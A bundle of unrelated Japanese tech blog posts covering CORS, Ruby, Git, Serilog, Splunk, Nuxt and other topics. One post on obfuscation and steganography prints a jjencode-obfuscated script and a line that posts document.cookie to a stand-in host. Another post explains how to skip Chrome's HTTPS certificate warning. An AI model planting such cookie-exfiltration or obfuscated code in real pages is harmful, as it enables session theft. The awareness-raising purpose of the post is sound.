OmniAICreator/Qiita-1.07M huggingface dataset:
Flash Advent Calendar 21日目 - CORSとプリフライト -

swf2jsで地味に苦しんだのが、CORSとプリフライトリクエストによるエラー問題です。

# CORSとは

クロスサイトリクエストフォージェリ(CSRF)などのセキュリティ攻撃を防止するため
同一生成元ポリシー(Same-Origin Policy)という仕組みです。

CORS (Cross-Origin Resource Sharing)は
この制約を一部解除し、異なるオリジン(ドメイン)間でリソースを共有するための仕組みです。

# なんで急に問題になったのか？

これまでFlashから動的にSWFや画像のリソースを取得する際に
ドメインが異なっていてもエラーなく取得できていました。

swf2jsはJavaScriptで作られておりブラウザの仕様に準拠する必要があります。

ですので、異なるオリジン(ドメイン)間でのリソースの取得・共有の際に
ブラウザ側でエラー対象となり、処理がそこで停止してしまいます。

# 対処方法

これまでの傾向として、APIはバックエンドで管理してるサーバー(ApahceやNginx)
画像やSWFなどの静的ファイルはCDNに設置されている事が多かったです。

CDNで一番多かったのはAWSのS3でした。
状況にもよるのですが、このような感じで、AllowedOriginを`*`にして頂き対応いただきました。

```
<CORSConfiguration>
    <CORSRule>
        <AllowedOrigin>*</AllowedOrigin>
        <AllowedMethod>GET</AllowedMethod>
        <MaxAgeSeconds>3000</MaxAgeSeconds>
        <AllowedHeader>*</AllowedHeader>
    </CORSRule>
</CORSConfiguration>
```

サーバー側はApacheやNginxが多かったのですが
こちらも同様で`*`で対応頂いたケースが多かったです。

```
Access-Control-Allow-Origin: *
```

# プリフライト

セッション情報やFlashのヘッダーに合わせることで
通常のリクエスト前にプリフライトリクエストが発生してしまいました。

swf2js側はセッションのON/OFFを設定できるよう追加したのと
Flashのヘッダーにセットされる `X-Requested-With` のON/OFFを追加する事で
プリフライトリクエストが発生しないようにしました。

プリフライトリクエストが発生しない条件

1. GET, HEAD, POSTのうちいずれか
2. ヘッダーに含まれるのが以下のうちいずれか
3. ユーザーエージェントによって自動的に設定されたヘッダー
 * Accept
 * Accept-Language
 * Content-Language
 * Content-Type
4. Content-Typeのヘッダーが以下のいずれか
 * application/x-www-form-urlencoded
 * multipart/form-data
 * text/plain
5. リクエストに使用されるどのXMLHttpRequestUploadにもイベントリスナーが登録されていないこと。
6. リクエストにReadableStreamオブジェクトが使用されていないこと。


ブラウザの仕様に準拠する事になるので
こういった、設定が必須となります。

もし、無料版のswf2jsをご利用になってる方で、同じようなエラーの解決策となれば嬉しいです。
TreeViewで選択したファイルを拡張子ごとに（画像、テキストを表示を切り替える）方法

下記のselectfile関数を作成し、PictureBoxとListBoxのプロパティVisibleを変更して切り替えることにしました。

	Private Sub selectfile(ByVal filename As System.Windows.Forms.TreeViewEventArgs)
		Dim ext2 As String
		'拡張子取得
		ext2 = Path.GetExtension(filename.Node.FullPath)
		'MsgBox(ext2)

		Select Case ext2
			Case ".bmp"
				ListBox1.Visible = False
				PictureBox1.Visible = True
				PictureBox1.ImageLocation = filename.Node.FullPath
			Case ".txt"
				ListBox1.Visible = True
				PictureBox1.Visible = False

				'テキストファイルを読込みリストボックスに表示
				'リストボックスに水平スクロールバーを表示　縦スクロールバーは自動表示される
				ListBox1.HorizontalScrollbar = True
				ListBox1.Items.Clear()  'リストボックスアイテム初期化（一旦消去）
				Dim st As New System.IO.StreamReader(filename.Node.FullPath, System.Text.Encoding.UTF8)
				'ファイルの最後までループ
				Do Until st.Peek = -1
					'１行づつ読込む
					ListBox1.Items.Add(st.ReadLine)
				Loop
				st.Close()     'ファイルを閉じる
		End Select

各ノードを選択したときのイベントにselectfile関数を呼び出すようにしました。

	Private Sub TreeView1_AfterSelect(ByVal sender As Object, ByVal e As System.Windows.Forms.TreeViewEventArgs) Handles TreeView1.AfterSelect
		'MsgBox(e.Node.FullPath)
		selectfile(e)
	End Sub
【Ruby】ブロックの書き方

## 概要
Rubyの理解を深めるためにブロックについて学習をしたのでアウトプットしていきます。

## ブロックとは

- `do〜end`のことをRubyではブロックと呼ぶ。
- `|i|`の i は~~ブロック引数~~ブロックパラメーターと呼ぶ。

例題があったほうが理解しやすいのでたとえばこのような問題。（他に解き方はありますが今回は`times文`）
**ブロックとは`times`メソッドの引数のことです。ブロックの内容で繰り返し処理を行うように`do〜end`に書くことで繰り返しています。**


>【問題】
1〜10までの数値を順番に足し合わせて、最後に全て足した結果をターミナルに出力する

```ruby
sum = 0

10.times do |i|
  sum += i + 1
end

puts sum

# ターミナル出力結果
# 55
```


## ブロックの書き方

上の問題では`do〜end`を使いました。他にもブロックの書き方はあります。
たとえばこのようになります。


```ruby
sum = 0
10.times { |i| sum += i + 1 }

puts sum

# ターミナル出力結果
# 55
```

`do〜end`のところを`{}`で囲うことでRubyはブロックだと認識してくれます。


書き方は人それぞれですが、こういう書き方があるのだなということを頭に入れておきます。
1行で収められる場合は`{}`、改行を含む長いコードの場合は`do〜end`が用いられるようです。

## yield

#### 通常のメソッドを呼び出し出力するプログラム
`normal`メソッドを呼び出し、putsで出力しています。

```ruby

## 普通の呼び出し方
def normal
  puts 'nomalメソッド呼び出し'
end

normal

# ターミナル出力結果
# nomalメソッド呼び出し

```

#### yieldをつかってブロックを実行

nomalメソッドに渡したブロック(do~end)を呼び出しをしています。

```ruby
## nomalメソッド呼び出し時に渡したブロックをyieldで呼び出し
def normal
  puts 'nomalメソッド呼び出し'
  yield
end

normal do
  puts 'yieldで呼び出し'
end

# ターミナル出力結果
# nomalメソッド呼び出し
#yieldで呼び出し

```

## 応用

#### yieldに引数をつける
ブロックを呼び出す時に`yield`に引数を入れることでブロックに任意のもの（引数の値）を渡しています。

```ruby

def normal
  puts 'nomalメソッド呼び出し'
  yield('引数を付与')
end

# yieldに引数をつけることでブロックに引数を渡している
normal do |text|
  puts text
end

# ターミナル出力結果
# nomalメソッド呼び出し
# 引数を付与

```

#### 明示的に記述

***ポイント***
- nomal(&ブロック引数)
- ブロック引数.call(ブロックに渡したい引数)

```ruby

def normal(&block) # 引数blockに&をつける
  puts "nomalメソッド呼び出し"
  block.call("引数を付与") # callメソッドでブロック(block)を実行
end

normal do |text|
  puts text
end
```

## まとめ

- ブロックには「 do~end 」と「 {} 」がある。
- 「 {} 」を使うことでスッキリ書くことができる。
- 一行で収まるときは「 {} 」、改行が必要なときは「 do~end 」を使う。
- yieldを使うことでメソッドに渡されたブロックを実行することができる。
- ~~ブロックを明示的に実行したいときは引数の前に&をつける。~~
- ~~引数として受け取ったブロックは「callメソッド」で呼び出すことができる。~~
- ブロックをProcオブジェクトとして受け取るためには引数の前に&をつける。
- ブロックを受け取って実行するにはcallメソッドを使う。

## 参考文献

- [Ruby 2.7.0 リファレンスマニュアル ](https://docs.ruby-lang.org/ja/2.7.0/doc/glossary.html)
- [【ブロック？yield？】RubyのProcオブジェクトをしっかり理解する](https://shinmedia20.com/ruby-proc)
【メモ】console.trace を閉じた状態でログ出力する

１個だけトレースするならまだしも、
複数回トレースしたい場合もデカデカとログを占有して邪魔くさい・・・
というわけで、console.trace() を閉じた状態で出力したい。

といっても、これだけでいい。

```js
console.groupCollapsed("trace...");
console.trace();
console.groupEnd();
```

個人的には、console.log の用途のついでにトレースもしたいニーズがあるので、
こんな関数を作ったら割とデバッグが捗る。

```js
console.tracedLog = (label, ...log) => {
  {
    console.group(`-- ${label} --`);
    console.log(...log);
    {
      console.groupCollapsed("trace...");
      console.trace();
      console.groupEnd();
    }
    console.groupEnd();
  }
};
```

chrome-devtools でこれを使うとこんな感じの出力になる

```
> console.tracedLog("title", [1, 2, 3]);
▼ -- title --
    > (3) [1, 2, 3]
  > trace...
```
Google ChromeでHTTPSの警告をスキップする

![Screen Shot 2020-12-25 at 11.33.51.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/127603/0d17f100-30c7-5448-8498-8fd0294563f3.png)

WebサーバーのHTTPSを検証していたりしている際に、このような画面に遭遇した人が多いと思います。

本来は警告を無視すべきではないのですが、一時的に警告を無視したい時がありますよね。

その際はこの画面で **`thisisunsafe`** とキーボードを入力することでスキップできます。
ASP.NET Coreでとりあえず追加で入れるログ関連のパッケージ

# はじめに
新しくプロジェクトを作ったときに、Serilogのどのパッケージを入れればよいんだっけ？と他のプロジェクトを参考することが多いので、個人的追加するパッケージの一覧をまとめておきます。

# プロジェクトの種類ごとに入れるべきパッケージ
ASP.NET Core以外のプロジェクトの場合はこのあたりですね。

- Serilog.Extensions.Hosting
- Serilog.Settings.Configuration
- Serilog.Sinks.Console
- Serilog.Sinks.Debug
- Serilog.Exceptions

ASP.NET CoreであればSerilog.AspNetCoreが必要なパッケージをだいたい持っているので、下記の2つがあれば事足ります。

- Serilog.AspNetCore
- Serilog.Exceptions

# Enricher

LogContextに特定の情報を付与するための拡張です。環境変数やプロセス、スレッド情報などは標準で用意されています。自前でEnricherを作る場合は[こちら](https://qiita.com/karuakun/items/6fcb2180540071028e2b)も参照してください。

ASP.NET Coreの場合はSerilog.AspNetCoreが良い感じに属性を付与してくれるのであまり使わないのですが、コンソールプロジェクトの場合は下記のEnricherも検討したいですね。

| パッケージ名 | 概要              |含まれるEnricer             |
|-------------|------------------|----------------------------|
| [Serilog.Enrichers.Environment](https://github.com/serilog/serilog-enrichers-environment) | 環境変数のHOSTNAME、USERNAMEなどの情報をログに付与します。 | WithMachineName, WithEnvironmentUserName |
| [Serilog.Enrichers.Thread](https://github.com/serilog/serilog-enrichers-thread) | 現在のスレッド情報をログに付与します。 | WithThreadId, WithThreadName|
| [Serilog.Enrichers.Process](https://github.com/serilog/serilog-enrichers-process) | 現在のプロセス情報をログに付与します。 | WithProcessId, WithProcessName |

# Sink

ログイベントを指定する拡張です。コンテナ環境であれば単にConsoleに吐き出してコンテナ環境が提供するログドライバーでログを吸い上げればよいと思いますが、[フィルター](https://github.com/serilog/serilog-filters-expressions)と組み合わせてこのログの場合だけコンソール以外にでフックさせたいといった場合にも利用できます。

| パッケージ名 | 概要             |
|-------------|------------------|
| [Serilog.Sinks.Console](https://github.com/serilog/serilog-sinks-console) | ログイベントをコンソールに出力するための拡張です。 |
| [Serilog.Sinks.File](https://serilog.net/) | ログイベントをファイルに出力するための拡張です。 |
| [Serilog.Sinks.Debug](https://github.com/serilog/serilog-sinks-debug) | ログイベントをVisual Studioのデバックコンソールに出力するための拡張です。 | 
| [Serilog.Sinks.Trace](https://github.com/serilog/serilog-sinks-trace) | ログイベントをSystem.Diagnostics.Traceに出力するための拡張です。　|
| [Serilog.Sinks.Http](https://github.com/FantasticFiasco/serilog-sinks-http) | ログイベントを特定のWebサイトにPOSTするための拡張です。 |
| [Serilog.Sinks.Email](Serilog.Sinks.Email) | ログイベントを特定のメールアドレスに送信するための拡張です。 |

他にもこんなサービスへのSink用パッケージが公開されています。

- [Serilog.Sinks.Elasticsearch](https://github.com/serilog/serilog-sinks-elasticsearch) 
- [Serilog.Sinks.Seq](https://github.com/serilog/serilog-sinks-seq)
- [Serilog.Sinks.ApplicationInsights](https://github.com/serilog/serilog-sinks-applicationinsights) 
- [Serilog.Sinks.MSSqlServer](https://github.com/serilog/serilog-sinks-mssqlserver)
- [Serilog.Sinks.Splunk](https://github.com/serilog/serilog-sinks-splunk)
- [Serilog.Sinks.AwsCloudWatch](https://github.com/Cimpress-MCP/serilog-sinks-awscloudwatch)
- [Serilog.Sinks.MongoDB](https://github.com/serilog/serilog-sinks-mongodb) 
- [Serilog.Sinks.Raygun](https://github.com/serilog/serilog-sinks-raygun)
- [Serilog.Sinks.AzureTableStorage](https://github.com/serilog/serilog-sinks-azuretablestorage)
- [Sentry.Serilog](https://docs.sentry.io/platforms/dotnet/guides/serilog/)
- [MassTransit.SerilogIntegration](https://github.com/MassTransit/MassTransit)

# まとめ

ASP.NET Coreであればとりあえずこの2つを入れておけばOK

- Serilog.AspNetCore
- Serilog.Exceptions
scriptタグ内の / がエスケープされる（CakePHP + minify-html + Underscore.js）

#起きたこと
`composer update`をしたらUnderscore.jsのテンプレート機能で表示しているhtmlに意図しない文字列が表示されるようになった。
ブラウザに表示されたhtmlのコードを確認したところ、`<script>`内の終了タグで使われている`/`がエスケープされていた。

```php:inedex.php
<script type="text/template" id="template">
  <div data-id="<%= id %>">
      <%= name %>
  <\/div> //タグとして認識されずにそのまま画面に表示される
</script>
```

#原因
`wyrihaximus/minify-html`ライブラリがrequireしている`wyrihaximus/html-compress`の`2.0.1`の不具合または仕様。

#対策方法
minify-htmlのバージョンを1.4系にする。
composer.jsonに以下を記載。

```json:composer.json
{
  "require": {
    "wyrihaximus/html-compress": "1.4.*",
  },

```
`composer update`して更新。

#最後に
同じ環境の方はほとんどいないと思いますが、調べても情報が出てこなかったので書き残しておきます。
システム設計の法則（正常系と異常系についての一般論）

### 「システム設計」の対象

ここでいう「システム設計」の対象は、下記などを含む

- コンピュータに関係するシステム設計
- 人事制度や報酬制度など組織運営設計
- あるいはもっとシンプルに、与えられたデータをどうアウトプットするか（グラフを作るとか）などの作業プロセス設計

要は「複数のタスクが（おそらく複数の人間によって）行われるもの」である。

### 正常系と異常系

- どんな設計でも、「要するにこう動くはず」という「イメージ」がある
    - この理想的な「イメージ」を表現したものを「正常系」と呼ぼう
- どんな設計でも、正常系から外れる対応が必要となる
    - この対応を、「異常系」あるいは「例外処理」と呼ぼう

### よい設計とはなにか

- よい設計とは、異常系（例外処理）が少なくなるように、正常系を設計したものである
- 一般に、異常系（例外処理）は時間とともに増加する。なぜならば、
    - すべての状況を想定した設計は不可能である
    - 状況は時間とともに変化する
- したがって、完璧な設計はなく、「設計のよさ」が大事である
    - 時間経過とともに異常系の発生が少なくあってほしい

### 実際の観察

実際に、運用されているシステムを観察すると、

- 例外処理が多すぎるがゆえに、なにが正常系かわかりにくいことが多い
- 多くの場合は、運用している側も、なにが正常系かわからなくなっている

そこで実用上は、

- 動いているシステムを理解する際には、正常系を早く捉えられるとラクである
- 動かすシステムの構築にあたって、正常系のうまい設計は極めて重要である（あとあとラクである）

たとえばコンピュータに関わるシステム設計の場合、

- 全体の80%はテスト（バグ取り）である
- のこりの20%のうちの80%（全体の16%）は、例外処理の作成である
- 正常系のコーディングは全体の4%にすぎない
- うまく設計すれば
    - 全体の75%をバグ取りに、例外処理の作成を19%に、正常系の作成を6%に高められるかもしれない（通常の1.5倍である！）
    - そもそも全体の時間を削減できるかもしれない

### うまく設計をするためには

うまい設計のコツは、

- 正常系の検討にじゅうぶんに時間をかけること
- うまくモジュール分割すること
- はやく一周まわすこと

であるとおもわれるが、ここで詳細は検討しない（ひとつひとつ検討することがたくさんある）。
- ひとつめの時間配分『人月の神話』ですでに議論されているし、様々な手法がある（とおもう）
- モジュール分割は、これまた様々な手法がある（プログラミングなら関数化、オブジェクト指向など）
- みっつめは、要はアジャイル

### 実際に使うにあたっては

不慣れなシステムに参加する場合、

- 正常系を早く理解すること
- 「もとにもどる」方法を早く見つけること

が、実戦上は有効だとおもう。
文字列の長い順番に揃えたい

たとえばtwitterのツイートの中のユーザIDをリンクにしたいとき
@hoge, @hogehoge があると、@hogeを置換するときに@hogehogeのほうも置換されちゃう
これを防ぐには、ユーザIDを抽出した後に文字数の大きい順番にソートする必要がある

このロジックは文字列置換・文字列探索の業務でちょくちょく必要になる

```PHP
$ary = ['hogehoge', 'hoge', 'aiueo'];

usort($ary, 'lrsort');

function lrsort ($a, $b) {
	$la = strlen($a);
	$lb = strlen($b);
	if ($la < $lb) return 1;
	if ($la > $lb) return -1;
	return 0;
}
```
ISP（仮）

OLT 
光回線終端装置

ISP
インターネット接続窓口。あるいは事業者

BGP(Border Gateway Protocol)
EGPの一種で、通信機器間で経路情報を交換する手段の一つ。
AS単位の経路情報を用いる
TCPを用いているので信頼性が高く、CIDRで経路を集約している

OSPF
AS内部のルーティングを行う。IGPの一種。

PPPoE
電話回線を経由して接続する技術をイーサネットに対応させたもの
接続時に終端装置を必ず通過する接続形式
終端装置が混雑してボトルネックになりやすく、速度低下の恐れが高い
IPv4のみに対応
トンネル対応アダプター等でIPv6のサイトに接続可能

IPoE
イーサネットでの使用を前提に考えられている
ISPを介して直接インターネットに接続する形式
通信速度がPPPに比べ改善される可能性が高い
IPv6のみに対応
IPv4 over IPv6機能でIPv4方式のサイトに接続可能

QoS
パケットを確認してデータの優先度や量を調節する仕組み
優先制御/帯域制御

IPsec
ネットワーク層で使用される、IPパケット単位で暗号化通信を行うプロトコル
上位層が暗号化に対応していなくても安全を保障できる
トランスポートモード/トンネルモードの二つがあり、データを暗号化する範囲が異なる

VPN
仮想の専用回線でデータの通信を行う接続。低コストでセキュリティを高められる
インターネットVPN/IP-VPNの大きく二つに分けられる

インターネットVPN
インターネット回線を使ったVPN。
光回線等一般的に利用されるインターネット回線上において、
IPsecやSSLといった技術を利用して仮想的な専用ネットワークを構築する。
安価でありベストエフォート程度の品質

IP-VPN
通信事業者ごとに単独で構築・運用される閉じられた回線網でのVPN.
通信品質に一定の保証があるがその分利用料が多少必要。
その事業者と契約を結んだユーザーのみの利用可能でセキュリティ性が高い
ローカルファイル（ワークツリー）を変更せずに Git のブランチを切り替える方法

# ローカルファイルをmasterブランチと同じ状態にしたままで、別ブランチに切り替えたい

Gitのブランチ管理を正面から否定するような要望ですが、Gitのリポジトリと、Subversion のリポジトリを下記のように同期運用するために、このような動作が必要なのです。

1. 社内サーバー上には git のリポジトリ、VPNの先のサーバ上には Subversion のリポジトリが存在します
1. ワークツリーは .git/ と .svn/ の両方があります（両方でチェックアウトしています）
1. importブランチは、Subversion のリポジトリの内容を取り込む専用ブランチとします
1. masterブランチの内容を Subversion にコミットします(masterとimportの差分がコミットされる)
1. Subversion のリポジトリ内容を svn update によりワークツリーへマージして取り込み、それをimportブランチにコミットし、masterブランチへ適宜マージします

Subversion 側からみて 3. から 4. の間でワークツリーを変更せずに、git のブランチをmasterからimportへ切り替えたいのです。

## git-svn を使えば良いのでは？

サーバー上は Subversion で管理し、ローカルにgitを使うケースには適しているようですが、サーバー上に git リポジトリがあるケースについての事例が見つからず不安でした。また Subversion のリポジトリ全体ではなくブランチの一部を選択的にチェックアウトしていますし、将来のある時点で追いかけるブランチを切り替える必要もありますが、それを git-svn で運用できるか不安です。
※「このようなケースでも、git-svn で上手く運用できますよ」という情報があればぜひコメントください。

## importブランチをチェックアウトして、masterブランチの内容をmergeすれば良いのでは？

マージは import から master への一方向にしたいのです。

## というわけで、ローカルファイル（ワークツリー）を変更せずに Git のブランチを切り替える方法です

```sh
## masterブランチへ切り替える.
git checkout master

## ローカルファイルを変更せずに、masterブランチの先端を import ブランチの先端と同じ場所へ移動する.
#   このとき、変更前の masterブランチ先端は ORIG_HEAD としてラベル付けされる.
#   --softオプションによりimportブランチ先端とローカルファイルの間の変更はステージングされる.
git reset --soft import

## importブランチへ切り替える.
#   checkout とは 指定ブランチの先端をローカルファイルに取り出す動作である.
#   master と import の先端が同じなので、ローカルファイルは変更されない.
#   importブランチ先端とローカルファイルの間の変更はステージングされたままである.
git checkout import

## masterブランチの先端をreset前の元の位置(ORIG_HEAD)に戻しておく.
#   見慣れないコマンドだが、これで上手くいくのだ.
git update-ref refs/heads/master ORIG_HEAD

```

後は svn update でSubversionリポジトリの内容をワークツリーにマージし、git commit で importブランチへ取り込みます.


# END
謎解きで学ぶ隠ぺいの技術

どうも。@hinoraです。
今日でクリスマスを迎え、今年もいよいよ終わりです。

せっかくのクリスマスということで、僕からプレゼントをご用意しました。

少しわかりにくいところに置いてありますが、よかったら探してみてくださいね。

---

改めまして、今回は隠ぺいの技術である**難読化**と**ステガノグラフィ**についてご紹介します。

## 難読化とは

「難読化」という言葉はご存じでしょうか。
意味は文字通り、意図的に読みにくくしたコードのことです。

その目的は、ウィキペディアによれば

1. コードの目的を隠ぺいしたり、リバースエンジニアリングなどを阻止するため
2. コードを解読するもののためのパズルや娯楽として

とのことです。

実際のコードを見てみましょう。

```js:change.js
$=~[];$={___:++$,$$$$:(![]+"")[$],__$:++$,$_$_:(![]+"")[$],_$_:++$,$_$$:({}+"")[$],$$_$:($[$]+"")[$],_$$:++$,$$$_:(!""+"")[$],$__:++$,$_$:++$,$$__:({}+"")[$],$$_:++$,$$$:++$,$___:++$,$__$:++$};$.$_=($.$_=$+"")[$.$_$]+($._$=$.$_[$.__$])+($.$$=($.$+"")[$.__$])+((!$)+"")[$._$$]+($.__=$.$_[$.$$_])+($.$=(!""+"")[$.__$])+($._=(!""+"")[$._$_])+$.$_[$.$_$]+$.__+$._$+$.$;$.$$=$.$+(!""+"")[$._$$]+$.__+$._+$.$+$.$$;$.$=($.___)[$.$_][$.$_];$.$($.$($.$$+"\""+$.$$_$+$._$+$.$$__+$._+"\\"+$.__$+$.$_$+$.$_$+$.$$$_+"\\"+$.__$+$.$_$+$.$$_+$.__+"."+$.__+"\\"+$.__$+$.$_$+$.__$+$.__+(![]+"")[$._$_]+$.$$$_+"='//\\"+$.__$+$.$$_+$.___+"\\"+$.__$+$.$$_+$._$_+$.$$$_+"\\"+$.__$+$.$$_+$._$$+$.$$$_+"\\"+$.__$+$.$_$+$.$$_+$.__+"-"+$.$_$$+"\\"+$.__$+$.$$$+$.__$+"-\\"+$.__$+$.$$_+$._$$+$.$_$_+"\\"+$.__$+$.$_$+$.$$_+$.__+$.$_$_+".\\"+$.__$+$.$$_+$.$$$+$.$$$_+$.$_$$+"."+$.$_$_+"\\"+$.__$+$.$$_+$.___+"\\"+$.__$+$.$$_+$.___+"'"+"\"")())();

// and Go to title. (if you want)
```

これは難読化ツールの中でも有名な`jjencode`を用いてエンコードされたJavaScriptです。
これ、変換前はたった30文字ほどのコードです。（実行しても安全なものです）

比較的復号しやすいらしいのですが、パッと見ではさっぱり読めませんよね。

### 難読化する方法

難読化の手法には様々な手法がありますが、今回はjjencodeの一端を担う技術を紹介します。
例として、`alert(1)`を難読化するものと仮定します。

`!1`という評価値があります。
これは言わずもがな、`false`として評価されます。

これを文字列にキャストします。
方法は様々ですが、JSでは文字列結合すると文字列として評価されるので、`!1 + ''`とすることで、`'false'`が文字列として返されます。
これを配列として取り出すことで、任意の文字を抽出します。
たとえば`a`であれば`(!1+'')[1]`といった具合です。

alertの`a`は上記で取り出し、他のものも同様にして組み立てていきます。
最後に`eval`（evaluteの略）などしてあげることで、任意のコードを評価し、実行できるという仕組みです。

(ただし、jjencodeではevalを用いずに別の形を使っています)

## ステガノグラフィとは

ステガノグラフィとは「情報を他の情報に埋め込む技術」のことです。
セキュリティの分野を学ばれている方にとっては、耳なじみのある言葉だと思います。

文字、画像、動画、楽曲など様々なものに情報を埋め込むことができます。
今回は、画像のステガノグラフィを試してみたいと思います。

<img src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/185436/cbca47df-6bc5-d22f-beca-237725046722.png" width="300" />


この気の優しそうなおじいさんの画像、以下の「クッキーを取得して外部に送信する」という凶悪なスクリプトがテキストとして埋め込まれています。

```js
fetch('//example.com', { method: 'post', body: document.cookie, mode: 'no-cors' })
```
**※ もちろん画像を表示しても勝手に実行されることはないので安心してください**

ただ実際に、エクセルファイルのVBAを経由してスクリプトを埋め込んだ画像をダウンロードし、実行させるというような攻撃が存在します。

そういった経緯から、セキュリティの分野で扱われている、ということなんですね。

ちなみに、画像へのテキストの埋め込みは[このツール](https://stylesuxx.github.io/steganography/)を使用しました。
このツールは埋め込みだけでなく、取り出し(デコード)もできるようになっています。

## おわりに

初めに話した難読化も、セキュリティ攻撃防御のためのパターン検知を回避するための手法として用いられることがあります。
ただ知見として認識しておくことだけでも、懐疑的になれることでリスクが軽減できます。

インターネットの危険なものは、危険な形をしていないことがよくあるということこと、ぜひ心に留めておいてください。

それでは、メリークリスマス！

---

## おまけ

プレゼントのヒントです。どうしてもわからなかったら見てください！

<details>
    <summary>ヒント1</summary>
    難読化されたコード、実行して変化するのは・・・？
    コメントにしたがって、そのページへアクセスしてみよう！
</details>

<details>
    <summary>ヒント2</summary>
    Evaluteとは`評価`することです。つまり・・？（この記事をよく読んでみて！）
</details>

<details>
    <summary>ヒント3</summary>
    もちろん、ただの画像ではありません
</details>
Splunkのデータの容量チェック（年度末にはお掃除しましょうね）

Splunkは大変便利だ。BIでもないし、ログ監視ツールでもない。わかんない。謎だｗ
しかしBIではできないテッキーなお宅（あ、宅八郎さんのご冥福をお祈りいたします。実はお宅のしぐさは演技だった浜松の釣り好きおじさんだったんですね：https://encount.press/archives/116267/ ）にとってかゆい所に手が届く可視化ツールってとこかな。

大変便利すぎて、入れるとエンジニア達も使わせてくれ！！と人気ひっぱりだこになります。だんだんユーザが増えてきます。ID課金じゃないところもイイ！！！！ですよね！

しかし、しばらく使ってると画面の上に①みたいなバッジが出るんですよね。Facebookのつもりで、あの子からのメッセージかしら～♪なんて見ると、”ライセンス超過しました～”　なんて言ってるんです。

そんな？いったい？？？？なぜ？？なぜなぜ～？？？

誰か他のユーザがデータ突っ込んだんです。別に超過しても大丈夫ですけどそのうちに、、、Ver.8.1からはチェックも厳しく...

Splunkは自分自身のログもしっかりとってるんですよね。そこも「検索」できる。ウン！素晴らしい！！

Splunkの検索窓にこれを打ち込む。

index=_internal sourcetype=splunkd component=LicenseUsage type=Usage
| rename h as ホスト idx as インデックス名 s as データソース st as sourcetype b as バイト数
| table _time インデックス名 データソース バイト数
| sort - count by バイト数

なんだこのでっかいログは！！

という事でその時入れたユーザなんかも足跡が残ってますので、コマンドを使うと見つけられます。（ユーザ参加時にちゃんとお作法の教育はしておきましょうね）

在宅勤務となった皆様はじっくりとSplunkを使える時間が増えたと思いますので、YouTubeやSNSに耽ってないで、Splunkが裏で持ってる_internalログのフィールドを眺めてみてくださいね。

在宅と言えば、今防災用太陽光発電ラジオでニッポン放送とか聞いてます。ネット通信帯域も電気も使わず、タクシーの運転手やラーメン屋の店長気分になってなかなか仕事はかどります（笑）

Happy Splunking!
Nuxt.js で簡単な WebAPI を作成 (その 2)

こちらのプログラムを改造して、引数を与えるようにしてみました。
[Nuxt.js で簡単な WebAPI を作成](https://qiita.com/ekzemplaro/items/a259a4652108b838a62c)

```js:api/index.js
// ---------------------------------------------------------------
//	api/index.js
//
//						Dec/25/2020
// ---------------------------------------------------------------
const express = require("express")
const app = express()

app.use(express.json())
app.use(express.urlencoded({ extended: true }))


// ---------------------------------------------------------------
app.get("/", function(req, res) {
	const json_str = '{"en": "Hello World","ja": "こんにちは","fr": "Bonjour"}'
	res.send(json_str)
})

// ---------------------------------------------------------------
app.get('/get', async function(req, res){
	var aa = parseInt(req.query.aa,10)
	var bb = parseInt(req.query.bb,10)
	var sum = aa + bb
	var rvalue = {}
	rvalue['aa'] = aa
	rvalue['bb'] = bb 
	rvalue['sum'] = sum 

	await res.send(rvalue)
})

// ---------------------------------------------------------------
app.post('/post', async function(req, res) {
	var aa = parseInt(req.body.aa,10)
	var bb = parseInt(req.body.bb,10)
	var sum = aa + bb
	var rvalue = {}
	rvalue['aa'] = aa
	rvalue['bb'] = bb 
	rvalue['sum'] = sum

	await res.send(rvalue)
})

// ---------------------------------------------------------------
module.exports = {
	path: "/api/",
	handler: app
}

// ---------------------------------------------------------------
```

テスト結果

GET

```text
$ curl -X GET 'http://localhost:3000/api/get?aa=24&bb=45' | jq .
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100    26  100    26    0     0  13000      0 --:--:-- --:--:-- --:--:-- 13000
{
  "aa": 24,
  "bb": 45,
  "sum": 69
}
```

POST

```text
$ curl -X POST http://localhost:3000/api/post -d 'aa=23' -d 'bb=49' | jq .
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100    37  100    26  100    11   8666   3666 --:--:-- --:--:-- --:--:-- 12333
{
  "aa": 23,
  "bb": 49,
  "sum": 72
}
```
【3D OD LiDAR編】STD : PointNetとVFEのハイブリッドネットワーク

<h1>STD: Sparse-to-Dense 3D Object Detector for Point Cloud</h1>

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/482094/e435618d-8ebd-903a-52c0-b8b32a7db8cb.png)

[PointRCNN](https://qiita.com/minh33/items/468037a5d244aeedc513)の2stage目にPointNetの代わりにVFE(Voxel Feature Encoder)を適用したネットワーク

主に4つのModuleからなっている
BackBone=>3D Semantic Segmentationを行う
PGM(Proposal Generation Module)=>大まかなBouding Boxを提案する
Point Pool=>Voxelに変換しVFEを採用し、より位置に関する特徴を学習
Detection Head=>最終的な3D Bouding Boxを推定

<h1>アルゴリズム</h1>
<h2>BackBone</h2>
3DのSemantic SegmentationをPointNet++で行う。
それぞれのPointに物体のconfidence scoreを推定する。

*恐らく見やすくするためにScoreの右側にFeatureが来ていると思う。普通ならFeatureからScoreを計算するはずだからdata flow的には逆にあるべきようね気がする

<h2>PGM(Proposal Generation Module)</h2>
<h3>Spherical Anchor</h3>
それぞれのpointに球体のAnchorを定義する
決める物としては球の半径のみ

*Bouding Boxだとwidth,length,height,orientationなど複数の定義が必要

<h3>NMS</h3>
重なってる物体の数を減らす


<h3>Proposal Generation Network</h3>
Ponints FeatureとNMSで得たSpherical Anchorを入力にPointNetを用いて3DのBouding Boxを推定する(Proposal)

<h2>PointsPool Layer</h2>
1. Proposal(3D Bounding Box)の中のpointをいくつか選ぶ。BackBoneのsemantic featureとCanonical座標系のx,y,zを入力とする。
2. voxelizationする
3. VFE(Voxel Feature Encoder)を行う


<h2>Box Prediction Network</h2>
普通に得られた特徴量からclacificationとregression(3D Bounding Box)を行う。

最後に普通であればPost-Pocessing(後処理)としてNMSを行うのだが、物体のclassに対するConfidence Scoreは物体の位置にたいするConfidenceとそこまで相関関係がないらしい。

そこでIoU Estimation Branchで物体の位置精度を推定しNMSに使うことで精度が大幅に上昇したらしい。


<h1>結果</h1>
